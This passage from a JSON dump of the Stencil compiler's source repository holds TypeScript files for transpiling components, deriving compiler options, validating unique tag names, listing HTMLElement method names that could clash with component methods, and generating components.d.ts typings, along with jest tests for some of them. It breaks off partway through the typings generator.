fileName.startsWith(normalizePath(config.srcDir))\n      );\n    });\n\n    for (const sourceFile of sourceFiles) {\n      const sourceSemanticDiagnostics = tsProgram.getSemanticDiagnostics(sourceFile);\n      const tsSemantic = loadTypeScriptDiagnostics(sourceSemanticDiagnostics);\n\n      if (config.devMode) {\n        tsSemantic.forEach((semanticDiagnostic) => {\n          if (semanticDiagnostic.code === '6133' || semanticDiagnostic.code === '6192') {\n            semanticDiagnostic.level = 'warn';\n          }\n        });\n      }\n      buildCtx.diagnostics.push(...tsSemantic);\n    }\n  }\n\n  // Update components.d.ts in case components changed\n  const hasTypesChanged = await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n  if (typesOutputTarget.length > 0) {\n    // copy src dts files that do not get emitted by the compiler\n    // but we still want to ship them in the dist directory\n    const srcRootDtsFiles = tsProgram\n      .getRootFileNames()\n      .filter((f) => f.endsWith('.d.ts') && !f.endsWith('components.d.ts'))\n      .map((s) => normalizePath(s))\n      .filter((f) => !emittedDts.includes(f))\n      .map((srcRootDtsFilePath) => {\n        const relativeEmitFilepath = relative(config.srcDir, srcRootDtsFilePath);\n        return Promise.all(\n          typesOutputTarget.map(async (o) => {\n            const distPath = join(o.typesDir, relativeEmitFilepath);\n            let dtsContent = await compilerCtx.fs.readFile(srcRootDtsFilePath);\n            dtsContent = updateStencilTypesImports(o.typesDir, distPath, dtsContent);\n            await compilerCtx.fs.writeFile(distPath, dtsContent);\n          }),\n        );\n      });\n\n    await Promise.all(srcRootDtsFiles);\n  }\n\n  return { hasTypesChanged, needsRebuild: false };\n};\n\n/**\n * Calculate a relative path for a `.d.ts` file, giving the location within\n * the typedef output directory where we'd like to write it to disk.\n *\n * The correct relative path for a `.d.ts` file is basically given by the\n * relative location of the _source_ file associated with the `.d.ts` file\n * within the Stencil project's source directory.\n *\n * Thus, in order to calculate this, we take the path to the source file, the\n * emit path calculated by typescript (which is going to be right next to the\n * emit location for the JavaScript that the compiler emits for the source file)\n * and we do a pairwise walk up the two paths, assembling path components as\n * we go, until the source file path is equal to the configured source\n * directory. Then the path components from the `emitDtsPath` can be reversed\n * and re-assembled into a suitable relative path.\n *\n * @param config a Stencil configuration object\n * @param srcPath the path to the source file for the `.d.ts` file of interest\n * @param emitDtsPath the emit path for the `.d.ts` file calculated by\n * TypeScript\n * @returns a relative path to a suitable location where the typedef file can be\n * written\n */\nexport const getRelativeDts = (config: d.ValidatedConfig, srcPath: string, emitDtsPath: string): string => {\n  const parts: string[] = [];\n  for (let i = 0; i < 30; i++) {\n    if (normalizePath(config.srcDir) === srcPath) {\n      break;\n    }\n    const b = basename(emitDtsPath);\n    parts.push(b);\n\n    emitDtsPath = normalizePath(join(emitDtsPath, '..'));\n    srcPath = normalizePath(join(normalizePath(srcPath), '..'));\n  }\n  return normalizePath(join(...parts.reverse()));\n};\n"
  },
  {
    "path": "src/compiler/transpile/test/create-watch-program.spec.ts",
    "content": "import ts from 'typescript';\n\nimport { ValidatedConfig } from '../../../declarations';\nimport { mockValidatedConfig } from '../../../testing/mocks';\nimport { createTsWatchProgram } from '../create-watch-program';\n\ndescribe('createWatchProgram', () => {\n  let config: ValidatedConfig;\n\n  beforeEach(() => {\n    config = mockValidatedConfig();\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  it('includes watchOptions in the watch program creation', async () => {\n    config.tsWatchOptions = {\n      fallbackPolling: 3,\n      excludeFiles: ['src/components/my-component/my-component.tsx'],\n      excludeDirectories: ['src/components/my-other-component'],\n    } as ts.WatchOptions;\n    config.tsconfig = '';\n    const tsSpy = jest.spyOn(ts, 'createWatchCompilerHost').mockReturnValue({} as any);\n    jest.spyOn(ts, 'createWatchProgram').mockReturnValue({} as any);\n\n    await createTsWatchProgram(config, () => new Promise(() => {}));\n\n    expect(tsSpy.mock.calls[0][6]).toEqual({\n      excludeFiles: ['src/components/my-component/my-component.tsx'],\n      excludeDirectories: ['src/components/my-other-component'],\n    });\n  });\n\n  it('omits watchOptions when not provided', async () => {\n    config.tsWatchOptions = undefined;\n    config.tsconfig = '';\n    const tsSpy = jest.spyOn(ts, 'createWatchCompilerHost').mockReturnValue({} as any);\n    jest.spyOn(ts, 'createWatchProgram').mockReturnValue({} as any);\n\n    await createTsWatchProgram(config, () => new Promise(() => {}));\n\n    expect(tsSpy.mock.calls[0][6]).toEqual(undefined);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transpile/test/run-program.spec.ts",
    "content": "import { mockValidatedConfig } from '@stencil/core/testing';\n\nimport { getRelativeDts } from '../run-program';\n\ndescribe('run-program.ts', () => {\n  describe('getRelativeDts', () => {\n    it('should find the relative path to write a dts file to', () => {\n      const config = mockValidatedConfig({ srcDir: '/Testuser/stencil-project/src' });\n      const foo = getRelativeDts(\n        config,\n        '/Testuser/stencil-project/src/index.ts',\n        '/Testuser/stencil-project/.stencil/index.d.ts',\n      );\n      expect(foo).toBe('index.d.ts');\n    });\n\n    it('should find the relative path to write a nested dts file to', () => {\n      const config = mockValidatedConfig({ srcDir: '/Testuser/stencil-project/src' });\n      const foo = getRelativeDts(\n        config,\n        '/Testuser/stencil-project/src/components/index.ts',\n        '/Testuser/stencil-project/.stencil/components/index.d.ts',\n      );\n      expect(foo).toBe('./components/index.d.ts');\n    });\n\n    it('should find the relative path to write a dts file to (windows)', () => {\n      const config = mockValidatedConfig({ srcDir: 'C:\\\\Testuser\\\\stencil-project\\\\src' });\n      const foo = getRelativeDts(\n        config,\n        'C:/Testuser/stencil-project/src/index.ts',\n        'C:/Testuser/stencil-project/.stencil/index.d.ts',\n      );\n      expect(foo).toBe('index.d.ts');\n    });\n\n    it('should find the relative path to write a nested dts file to (windows)', () => {\n      const config = mockValidatedConfig({ srcDir: 'C:\\\\Testuser\\\\stencil-project\\\\src' });\n      const foo = getRelativeDts(\n        config,\n        'C:/Testuser/stencil-project/src/components/index.ts',\n        'C:/Testuser/stencil-project/.stencil/components/index.d.ts',\n      );\n      expect(foo).toBe('./components/index.d.ts');\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transpile/transpile-module.ts",
    "content": "import { createNodeLogger } from '@sys-api-node';\nimport { isNumber, isString, loadTypeScriptDiagnostics, normalizePath } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { BuildContext } from '../build/build-ctx';\nimport { CompilerContext } from '../build/compiler-ctx';\nimport { performAutomaticKeyInsertion } from '../transformers/automatic-key-insertion';\nimport { lazyComponentTransform } from '../transformers/component-lazy/transform-lazy-component';\nimport { nativeComponentTransform } from '../transformers/component-native/tranform-to-native-component';\nimport { convertDecoratorsToStatic } from '../transformers/decorators-to-static/convert-decorators';\nimport {\n  rewriteAliasedDTSImportPaths,\n  rewriteAliasedSourceFileImportPaths,\n} from '../transformers/rewrite-aliased-paths';\nimport { convertStaticToMeta } from '../transformers/static-to-meta/visitor';\nimport { updateStencilCoreImports } from '../transformers/update-stencil-core-import';\n\n/**\n * Stand-alone compiling of a single string\n *\n * @param config the Stencil configuration to use in the compilation process\n * @param input the string to compile\n * @param transformOpts a configuration object for how the string is compiled\n * @returns the results of compiling the provided input string\n */\nexport const transpileModule = (\n  config: d.ValidatedConfig,\n  input: string,\n  transformOpts: d.TransformOptions,\n): d.TranspileModuleResults => {\n  if (!config.logger) {\n    config = {\n      ...config,\n      logger: createNodeLogger(),\n    };\n  }\n  const compilerCtx = new CompilerContext();\n  const buildCtx = new BuildContext(config, compilerCtx);\n  const tsCompilerOptions: ts.CompilerOptions = {\n    ...config.tsCompilerOptions,\n  };\n\n  let sourceFilePath = transformOpts.file;\n  if (isString(sourceFilePath)) {\n    sourceFilePath = normalizePath(sourceFilePath);\n  } else {\n    sourceFilePath = tsCompilerOptions.jsx ? `module.tsx` : `module.ts`;\n  }\n\n  const results: d.TranspileModuleResults = {\n    sourceFilePath: sourceFilePath,\n    code: null,\n    map: null,\n    diagnostics: [],\n    moduleFile: null,\n  };\n\n  if (transformOpts.module === 'cjs') {\n    tsCompilerOptions.module = ts.ModuleKind.CommonJS;\n  } else {\n    tsCompilerOptions.module = ts.ModuleKind.ESNext;\n  }\n\n  tsCompilerOptions.target = getScriptTargetKind(transformOpts);\n\n  if ((sourceFilePath.endsWith('.tsx') || sourceFilePath.endsWith('.jsx')) && tsCompilerOptions.jsx == null) {\n    // ensure we're setup for JSX in typescript\n    tsCompilerOptions.jsx = ts.JsxEmit.React;\n  }\n\n  // Only set jsxFactory and jsxFragmentFactory for classic React mode\n  // For ReactJSX and ReactJSXDev modes (automatic runtime), these should not be set\n  const isAutomaticRuntime =\n    tsCompilerOptions.jsx === ts.JsxEmit.ReactJSX || tsCompilerOptions.jsx === ts.JsxEmit.ReactJSXDev;\n\n  if (tsCompilerOptions.jsx != null && !isAutomaticRuntime && !isString(tsCompilerOptions.jsxFactory)) {\n    tsCompilerOptions.jsxFactory = 'h';\n  }\n\n  if (tsCompilerOptions.jsx != null && !isAutomaticRuntime && !isString(tsCompilerOptions.jsxFragmentFactory)) {\n    tsCompilerOptions.jsxFragmentFactory = 'Fragment';\n  }\n\n  if (tsCompilerOptions.paths && !isString(tsCompilerOptions.baseUrl)) {\n    tsCompilerOptions.baseUrl = '.';\n  }\n\n  const sourceFile = ts.createSourceFile(sourceFilePath, input, tsCompilerOptions.target);\n\n  // Create a compilerHost object to allow the compiler to read and write files\n  const compilerHost: ts.CompilerHost = {\n    getSourceFile: (fileName) => {\n      return normalizePath(fileName) === normalizePath(sourceFilePath) ? sourceFile : undefined;\n    },\n    writeFile: (name, text) => {\n      if (name.endsWith('.js.map') || name.endsWith('.mjs.map')) {\n        results.map = text;\n      } else if (name.endsWith('.js') || name.endsWith('.mjs')) {\n        // if the source file is an ES module w/ `.mjs` extension then\n        // TypeScript will output a `.mjs` file\n        results.code = text;\n      }\n    },\n    getDefaultLibFileName: () => `lib.d.ts`,\n    useCaseSensitiveFileNames: () => false,\n    getCanonicalFileName: (fileName) => fileName,\n    getCurrentDirectory: () => transformOpts.currentDirectory || process.cwd(),\n    getNewLine: () => ts.sys.newLine || '\\n',\n    fileExists: (fileName) => normalizePath(fileName) === normalizePath(sourceFilePath),\n    readFile: () => '',\n    directoryExists: () => true,\n    getDirectories: () => [],\n  };\n\n  const program = ts.createProgram([sourceFilePath], tsCompilerOptions, compilerHost);\n  const typeChecker = program.getTypeChecker();\n\n  const transformers = {\n    before: [\n      convertDecoratorsToStatic(config, buildCtx.diagnostics, typeChecker, program),\n      performAutomaticKeyInsertion,\n      updateStencilCoreImports(transformOpts.coreImportPath),\n    ],\n    after: [convertStaticToMeta(config, compilerCtx, buildCtx, typeChecker, null, transformOpts)],\n    afterDeclarations: [] as (ts.CustomTransformerFactory | ts.TransformerFactory<ts.SourceFile | ts.Bundle>)[],\n  } satisfies ts.CustomTransformers;\n\n  if (config.transformAliasedImportPaths) {\n    transformers.before.push(rewriteAliasedSourceFileImportPaths);\n    // TypeScript handles the generation of JS and `.d.ts` files through\n    // different pipelines. One (possibly surprising) consequence of this is\n    // that if you modify a source file using a transforming it will not\n    // automatically result in changes to the corresponding `.d.ts` file.\n    // Instead, if you want to, for instance, rewrite some import specifiers in\n    // both the source file _and_ its typedef you'll need to run a transformer\n    // for both of them.\n    //\n    // See here: https://github.com/itsdouges/typescript-transformer-handbook#transforms\n    // and here: https://github.com/microsoft/TypeScript/pull/23946\n    //\n    // This quirk is not terribly well documented unfortunately.\n    transformers.afterDeclarations.push(rewriteAliasedDTSImportPaths);\n  }\n\n  if (transformOpts.componentExport === 'customelement' || transformOpts.componentExport === 'module') {\n    transformers.after.push(nativeComponentTransform(compilerCtx, transformOpts, buildCtx));\n  } else {\n    transformers.after.push(lazyComponentTransform(compilerCtx, transformOpts, buildCtx));\n  }\n\n  program.emit(undefined, undefined, undefined, false, transformers);\n\n  const tsDiagnostics = [...program.getSyntacticDiagnostics()] as ts.Diagnostic[];\n\n  if (config.validateTypes) {\n    tsDiagnostics.push(...program.getOptionsDiagnostics());\n  }\n\n  buildCtx.diagnostics.push(...loadTypeScriptDiagnostics(tsDiagnostics));\n\n  results.diagnostics.push(...buildCtx.diagnostics);\n\n  results.moduleFile = compilerCtx.moduleMap.get(results.sourceFilePath)!;\n\n  return results;\n};\n\nconst getScriptTargetKind = (transformOpts: d.TransformOptions) => {\n  const target = transformOpts.target && transformOpts.target.toUpperCase();\n  if (isNumber((ts.ScriptTarget as any)[target as string])) {\n    return (ts.ScriptTarget as any)[target as string];\n  }\n  // ESNext and Latest are the same\n  return ts.ScriptTarget.Latest;\n};\n"
  },
  {
    "path": "src/compiler/transpile/transpiled-module.ts",
    "content": "import { normalizePath } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\n\n/**\n * Helper function for retrieving a Stencil {@link d.Module} from the provided compiler context\n * @param compilerCtx the compiler context to retrieve the `Module` from\n * @param filePath the path of the file corresponding to the `Module` to lookup\n * @returns the `Module`, or `undefined` if one cannot be found\n */\nexport const getModule = (compilerCtx: d.CompilerCtx, filePath: string): d.Module | undefined =>\n  compilerCtx.moduleMap.get(normalizePath(filePath));\n\n/**\n * Creates a {@link d.Module} entity with reasonable defaults\n * @param staticSourceFile the TypeScript representation of the source file. This may not be the original\n * representation of the file, but instead a new `SourceFile` created using the TypeScript API\n * @param staticSourceFileText the text from the `SourceFile`. This text may originate from the original representation\n * of the file.\n * @param emitFilepath the path of the JavaScript file that should be emitted after transpilation\n * @returns the created `Module`\n */\nexport const createModule = (\n  staticSourceFile: ts.SourceFile, // this may NOT be the original\n  staticSourceFileText: string,\n  emitFilepath: string,\n): d.Module => ({\n  sourceFilePath: normalizePath(staticSourceFile.fileName),\n  jsFilePath: emitFilepath,\n  staticSourceFile,\n  staticSourceFileText,\n  cmps: [],\n  isExtended: false,\n  isMixin: false,\n  hasExportableMixins: false,\n  coreRuntimeApis: [],\n  outputTargetCoreRuntimeApis: {},\n  collectionName: null,\n  dtsFilePath: null,\n  excludeFromCollection: false,\n  externalImports: [],\n  hasVdomAttribute: false,\n  hasVdomClass: false,\n  hasVdomFunctional: false,\n  hasVdomKey: false,\n  hasVdomListener: false,\n  hasVdomPropOrAttr: false,\n  hasVdomRef: false,\n  hasVdomRender: false,\n  hasVdomStyle: false,\n  hasVdomText: false,\n  hasVdomXlink: false,\n  htmlAttrNames: [],\n  htmlParts: [],\n  htmlTagNames: [],\n  isCollectionDependency: false,\n  isLegacy: false,\n  localImports: [],\n  functionalComponentDeps: [],\n  originalCollectionComponentPath: null,\n  originalImports: [],\n  potentialCmpRefs: [],\n  sourceMapPath: null,\n  sourceMapFileText: null,\n});\n"
  },
  {
    "path": "src/compiler/transpile/ts-config.ts",
    "content": "import { isOutputTargetDistTypes } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\n\n/**\n * Derive a {@link ts.CompilerOptions} object from the options currently set\n * on the user-supplied configuration object.\n *\n * Some of these options (like the `module` setting) are hardcoded here, but\n * the following are derived from the configuration object:\n *\n * - if one of the output targets requires type declaration output (i.e. the\n *   {@link d.OutputTargetDistCustomElements.generateTypeDeclarations} option\n *   is set to `true`) then we'll set `declaration: true`\n * - the `outDir` is set to the configured cache directory\n * - the `sourceMap` and `inlineSources` options are set based on the user's\n *   {@link d.Config.sourceMap} configuration\n *\n * @param config the current user-supplied configuration\n * @returns an object containing TypeScript compiler options\n */\nexport const getTsOptionsToExtend = (config: d.ValidatedConfig): ts.CompilerOptions => {\n  const tsOptions: ts.CompilerOptions = {\n    experimentalDecorators: true,\n    // if the `DIST_TYPES` output target is present then we'd like to emit\n    // declaration files\n    declaration: config.outputTargets.some(isOutputTargetDistTypes),\n    module: config.tsCompilerOptions?.module || ts.ModuleKind.ESNext,\n    moduleResolution:\n      config.tsCompilerOptions?.moduleResolution === ts.ModuleResolutionKind.Bundler\n        ? ts.ModuleResolutionKind.Bundler\n        : ts.ModuleResolutionKind.NodeJs,\n    noEmitOnError: config.tsCompilerOptions?.noEmitOnError || false,\n    outDir: config.cacheDir || config.sys.tmpDirSync(),\n    sourceMap: config.sourceMap,\n    inlineSources: config.sourceMap,\n  };\n  return tsOptions;\n};\n"
  },
  {
    "path": "src/compiler/transpile/validate-components.ts",
    "content": "import { buildError, relative } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const validateTranspiledComponents = (config: d.ValidatedConfig, buildCtx: d.BuildCtx) => {\n  for (const cmp of buildCtx.components) {\n    validateUniqueTagNames(config, buildCtx, cmp);\n  }\n};\n\nconst validateUniqueTagNames = (config: d.ValidatedConfig, buildCtx: d.BuildCtx, cmp: d.ComponentCompilerMeta) => {\n  const tagName = cmp.tagName;\n  const cmpsWithTagName = buildCtx.components.filter((c) => c.tagName === tagName);\n  if (cmpsWithTagName.length > 1) {\n    const err = buildError(buildCtx.diagnostics);\n    err.header = `Component Tag Name \"${tagName}\" Must Be Unique`;\n    err.messageText = `Please update the components so \"${tagName}\" is only used once: ${cmpsWithTagName\n      .map((c) => relative(config.rootDir, c.sourceFilePath))\n      .join(' ')}`;\n  }\n};\n"
  },
  {
    "path": "src/compiler/transpile.ts",
    "content": "import rollupPluginUtils from '@rollup/pluginutils';\nimport type {\n  TransformCssToEsmInput,\n  TransformOptions,\n  TranspileOptions,\n  TranspileResults,\n  ValidatedConfig,\n} from '@stencil/core/internal';\nimport { catchError, getInlineSourceMappingUrlLinker, isString } from '@utils';\n\nimport { getTranspileConfig, getTranspileCssConfig, getTranspileResults } from './config/transpile-options';\nimport { validateConfig } from './config/validate-config';\nimport { transformCssToEsm, transformCssToEsmSync } from './style/css-to-esm';\nimport { patchTypescript } from './sys/typescript/typescript-sys';\nimport { getPublicCompilerMeta } from './transformers/add-component-meta-static';\nimport { transpileModule } from './transpile/transpile-module';\n\n/**\n * The `transpile()` function inputs source code as a string, with various options\n * within the second argument. The function is stateless and returns a `Promise` of the\n * results, including diagnostics and the transpiled code. The `transpile()` function\n * does not handle any bundling, minifying, or precompiling any CSS preprocessing like\n * Sass or Less. The `transpileSync()` equivalent is available so the same function\n * it can be called synchronously. However, TypeScript must be already loaded within\n * the global for it to work, where as the async `transpile()` function will load\n * TypeScript automatically.\n *\n * Since TypeScript is used, the source code will transpile from TypeScript to JavaScript,\n * and does not require Babel presets. Additionally, the results includes an `imports`\n * array of all the import paths found in the source file. The transpile options can be\n * used to set the `module` format, such as `cjs`, and JavaScript `target` version, such\n * as `es2017`.\n *\n * @param code the code to transpile\n * @param opts options for the transpilation process\n * @returns a Promise wrapping the results of the transpilation\n */\nexport const transpile = async (code: string, opts: TranspileOptions = {}): Promise<TranspileResults> => {\n  const { importData, results } = getTranspileResults(code, opts);\n\n  try {\n    if (shouldTranspileModule(results.inputFileExtension)) {\n      const { config, compileOpts, transformOpts } = getTranspileConfig(opts);\n      const validatedConfig = validateConfig(config, {}).config;\n      patchTypescript(validatedConfig, null);\n      transpileCode(validatedConfig, compileOpts, transformOpts, results);\n    } else if (results.inputFileExtension === 'd.ts') {\n      results.code = '';\n    } else if (results.inputFileExtension === 'css') {\n      const transformInput = getTranspileCssConfig(opts, importData, results);\n      await transpileCss(transformInput, results);\n    } else if (results.inputFileExtension === 'json') {\n      transpileJson(results);\n    }\n  } catch (e: any) {\n    catchError(results.diagnostics, e);\n  }\n\n  return results;\n};\n\n/**\n * Synchronous equivalent of the `transpile()` function. When used in a browser\n * environment, TypeScript must already be available globally, where as the async\n * `transpile()` function will load TypeScript automatically.\n *\n * @param code the code to transpile\n * @param opts options for the transpilation process\n * @returns the results of the transpilation\n */\nexport const transpileSync = (code: string, opts: TranspileOptions = {}): TranspileResults => {\n  const { importData, results } = getTranspileResults(code, opts);\n\n  try {\n    if (shouldTranspileModule(results.inputFileExtension)) {\n      const { config, compileOpts, transformOpts } = getTranspileConfig(opts);\n      const validatedConfig = validateConfig(config, {}).config;\n      patchTypescript(validatedConfig, null);\n      transpileCode(validatedConfig, compileOpts, transformOpts, results);\n    } else if (results.inputFileExtension === 'd.ts') {\n      results.code = '';\n    } else if (results.inputFileExtension === 'css') {\n      const transformInput = getTranspileCssConfig(opts, importData, results);\n      transpileCssSync(transformInput, results);\n    } else if (results.inputFileExtension === 'json') {\n      transpileJson(results);\n    }\n  } catch (e: any) {\n    catchError(results.diagnostics, e);\n  }\n\n  return results;\n};\n\nconst transpileCode = (\n  config: ValidatedConfig,\n  transpileOpts: TranspileOptions,\n  transformOpts: TransformOptions,\n  results: TranspileResults,\n) => {\n  const transpileResults = transpileModule(config, results.code, transformOpts);\n\n  results.diagnostics.push(...transpileResults.diagnostics);\n\n  if (typeof transpileResults.code === 'string') {\n    results.code = transpileResults.code;\n    results.map = transpileResults.map;\n\n    if (transpileOpts.sourceMap === 'inline') {\n      try {\n        const mapObject = JSON.parse(transpileResults.map);\n        mapObject.file = transpileOpts.file;\n        mapObject.sources = [transpileOpts.file];\n        delete mapObject.sourceRoot;\n\n        const sourceMapComment = results.code.lastIndexOf('//#');\n        results.code =\n          results.code.slice(0, sourceMapComment) + getInlineSourceMappingUrlLinker(JSON.stringify(mapObject));\n      } catch (e) {\n        console.error(e);\n      }\n    }\n  }\n\n  if (isString(transpileResults.sourceFilePath)) {\n    results.inputFilePath = transpileResults.sourceFilePath;\n  }\n\n  const moduleFile = transpileResults.moduleFile;\n  if (moduleFile) {\n    results.outputFilePath = moduleFile.jsFilePath;\n\n    moduleFile.cmps.forEach((cmp) => {\n      results.data.push(getPublicCompilerMeta(cmp));\n    });\n\n    moduleFile.originalImports.forEach((originalImport) => {\n      results.imports.push({\n        path: originalImport,\n      });\n    });\n  }\n};\n\nconst transpileCss = async (transformInput: TransformCssToEsmInput, results: TranspileResults) => {\n  const cssResults = await transformCssToEsm(transformInput);\n  results.code = cssResults.output;\n  results.map = cssResults.map;\n  results.imports = cssResults.imports.map((p) => ({ path: p.importPath }));\n  results.diagnostics.push(...cssResults.diagnostics);\n};\n\nconst transpileCssSync = (transformInput: TransformCssToEsmInput, results: TranspileResults) => {\n  const cssResults = transformCssToEsmSync(transformInput);\n  results.code = cssResults.output;\n  results.map = cssResults.map;\n  results.imports = cssResults.imports.map((p) => ({ path: p.importPath }));\n  results.diagnostics.push(...cssResults.diagnostics);\n};\n\nconst transpileJson = (results: TranspileResults) => {\n  results.code = rollupPluginUtils.dataToEsm(JSON.parse(results.code), {\n    preferConst: true,\n    compact: false,\n    indent: '  ',\n  });\n  results.map = { mappings: '' };\n};\n\n// NOTE: if you change this, also change jest configuration files in `src/testing/jest/jest*`.\n// Search for 'mod_extensions_jest' to find comments like this.\nconst shouldTranspileModule = (ext: string) => ['tsx', 'ts', 'mjs', 'jsx', 'js'].includes(ext);\n"
  },
  {
    "path": "src/compiler/types/constants.ts",
    "content": "// HTML Element method names that might conflict with component methods\n// Based on MDN documentation for HTMLElement, Element, and Node interfaces\nexport const HTML_ELEMENT_METHODS = new Set([\n  // HTMLElement methods\n  'attachInternals',\n  'blur',\n  'click',\n  'focus',\n  'hidePopover',\n  'showPopover',\n  'togglePopover',\n\n  // Element methods\n  'after',\n  'animate',\n  'append',\n  'attachShadow',\n  'before',\n  'checkVisibility',\n  'closest',\n  'computedStyleMap',\n  'getAnimations',\n  'getAttribute',\n  'getAttributeNames',\n  'getAttributeNode',\n  'getAttributeNodeNS',\n  'getAttributeNS',\n  'getBoundingClientRect',\n  'getClientRects',\n  'getElementsByClassName',\n  'getElementsByTagName',\n  'getElementsByTagNameNS',\n  'getHTML',\n  'hasAttribute',\n  'hasAttributeNS',\n  'hasAttributes',\n  'hasPointerCapture',\n  'insertAdjacentElement',\n  'insertAdjacentHTML',\n  'insertAdjacentText',\n  'matches',\n  'moveBefore',\n  'prepend',\n  'querySelector',\n  'querySelectorAll',\n  'releasePointerCapture',\n  'remove',\n  'removeAttribute',\n  'removeAttributeNode',\n  'removeAttributeNS',\n  'replaceChildren',\n  'replaceWith',\n  'requestFullscreen',\n  'requestPointerLock',\n  'scroll',\n  'scrollBy',\n  'scrollIntoView',\n  'scrollIntoViewIfNeeded',\n  'scrollTo',\n  'setAttribute',\n  'setAttributeNode',\n  'setAttributeNodeNS',\n  'setAttributeNS',\n  'setCapture',\n  'setHTML',\n  'setHTMLUnsafe',\n  'setPointerCapture',\n  'toggleAttribute',\n\n  // Node methods\n  'appendChild',\n  'cloneNode',\n  'compareDocumentPosition',\n  'contains',\n  'getRootNode',\n  'hasChildNodes',\n  'insertBefore',\n  'isDefaultNamespace',\n  'isEqualNode',\n  'isSameNode',\n  'lookupNamespaceURI',\n  'lookupPrefix',\n  'normalize',\n  'removeChild',\n  'replaceChild',\n\n  // EventTarget methods\n  'addEventListener',\n  'dispatchEvent',\n  'removeEventListener',\n]);\n"
  },
  {
    "path": "src/compiler/types/generate-app-types.ts",
    "content": "import { addDocBlock, GENERATED_DTS, getComponentsDtsSrcFilePath, normalizePath, relative, resolve } from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../declarations';\nimport { generateComponentTypes } from './generate-component-types';\nimport { generateEventDetailTypes } from './generate-event-detail-types';\nimport { updateStencilTypesImports } from './stencil-types';\nimport { COMPONENTS_DTS_HEADER, sortImportNames } from './types-utils';\nimport { updateReferenceTypeImports } from './update-import-refs';\n\n/**\n * Generates and writes a `components.d.ts` file to disk. This file may be written to the `src` directory of a project,\n * or be written to a directory that is meant to be distributed (e.g. the output directory of `dist-custom-elements`).\n * @param config the Stencil configuration associated with the project being compiled\n * @param compilerCtx the current compiler context\n * @param buildCtx the context associated with the current build\n * @param destination the relative directory in the filesystem to write the type declaration file to\n * @returns `true` if the type declaration file written to disk has changed, `false` otherwise\n */\nexport const generateAppTypes = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  destination: string,\n): Promise<boolean> => {\n  // only gather components that are still root ts files we've found and have component metadata\n  // the compilerCtx cache may still have files that may have been deleted/renamed\n  const timespan = buildCtx.createTimeSpan(`generated app types started`, true);\n  const areTypesInternal = destination === 'src';\n\n  // Generate d.ts files for component types\n  let componentTypesFileContent = generateComponentTypesFile(config, buildCtx, areTypesInternal);\n\n  // immediately write the components.d.ts file to disk and put it into fs memory\n  let componentsDtsFilePath = getComponentsDtsSrcFilePath(config);\n\n  if (!areTypesInternal) {\n    componentsDtsFilePath = resolve(destination, GENERATED_DTS);\n    componentTypesFileContent = updateStencilTypesImports(\n      destination,\n      componentsDtsFilePath,\n      componentTypesFileContent,\n    );\n  }\n\n  const writeResults = await compilerCtx.fs.writeFile(normalizePath(componentsDtsFilePath), componentTypesFileContent, {\n    immediateWrite: true,\n  });\n  const hasComponentsDtsChanged = writeResults.changedContent;\n\n  const componentsDtsRelFileName = relative(config.rootDir, componentsDtsFilePath);\n  if (hasComponentsDtsChanged) {\n    config.logger.debug(`generateAppTypes: ${componentsDtsRelFileName} has changed`);\n  }\n\n  timespan.finish(`generated app types finished: ${componentsDtsRelFileName}`);\n  return hasComponentsDtsChanged;\n};\n\n/**\n * Generates a `components.d.ts` file's contents, which contains the typings for all components in a Stencil project\n * @param config the Stencil configuration associated with the project being compiled\n * @param buildCtx the context associated with the current build\n * @param areTypesInternal determines if non-exported type definitions are being generated or not\n * @returns the contents of the `components.d.ts` file\n */\nconst generateComponentTypesFile = (\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n  areTypesInternal: boolean,\n): string => {\n  let typeImportData: d.TypesImportData = {};\n  const c: string[] = [];\n  const allTypes = new Map<string, number>();\n  const components = buildCtx.components.filter((m) => !m.isCollectionDependency);\n  const componentEventDetailTypes: d.TypesModule[] = [];\n\n  const modules: d.TypesModule[] = components.map((cmp) => {\n    /**\n     * Generate a key-value store that uses the path to the file where an import is defined as the key, and an object\n     * containing the import's original name and any 'new' name we give it to avoid collisions. We're generating this\n     * data structure for each Stencil component in series, therefore the memory footprint of this entity will likely\n     * grow as more components (with additional types) are processed.\n     */\n    typeImportData = updateReferenceTypeImports(typeImportData, allTypes, cmp, cmp.sourceFilePath, config);\n    if (cmp.events.length > 0) {\n      /**\n       * Only generate event detail types for components that have events.\n       */\n      componentEventDetailTypes.push(generateEventDetailTypes(cmp));\n    }\n    return generateComponentTypes(cmp, typeImportData, areTypesInternal);\n  });\n\n  c.push(COMPONENTS_DTS_HEADER);\n  c.push(`import { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";`);\n\n  // Generate import and export statements for type dependencies\n  const imports: string[] = [];\n  const exports: string[] = [];\n\n  Object.keys(typeImportData).forEach((filePath) => {\n    const typeData = typeImportData[filePath];\n\n    let importFilePath = filePath;\n    if (isAbsolute(filePath)) {\n      importFilePath = normalizePath('./' + relative(config.srcDir, filePath)).replace(/\\.(tsx|ts)$/, '');\n    }\n\n    // Check if this file has any default imports\n    const hasDefaultImport = typeData.some((td) => td.isDefault);\n\n    if (hasDefaultImport && typeData.length === 1) {\n      // Pure default import\n      const td = typeData[0];\n      imports.push(`import ${td.importName} from \"${importFilePath}\";`);\n      exports.push(`export { default as ${td.importName} } from \"${importFilePath}\";`);\n    } else if (hasDefaultImport) {\n      // Mixed default and named imports\n      const defaultImport = typeData.find((td) => td.isDefault);\n      const namedImports = typeData.filter((td) => !td.isDefault);\n      const namedPart = namedImports\n        .sort(sortImportNames)\n        .map((td) => {\n          if (td.originalName === '') {\n            return `${td.localName}`;\n          } else if (td.originalName === td.importName) {\n            return `${td.originalName}`;\n          } else {\n            return `${td.originalName} as ${td.importName}`;\n          }\n        })\n        .join(`, `);\n      imports.push(`import ${defaultImport.importName}, { ${namedPart} } from \"${importFilePath}\";`);\n      exports.push(`export { default as ${defaultImport.importName}, ${namedPart} } from \"${importFilePath}\";`);\n    } else {\n      // Named imports only\n      const namedPart = typeData\n        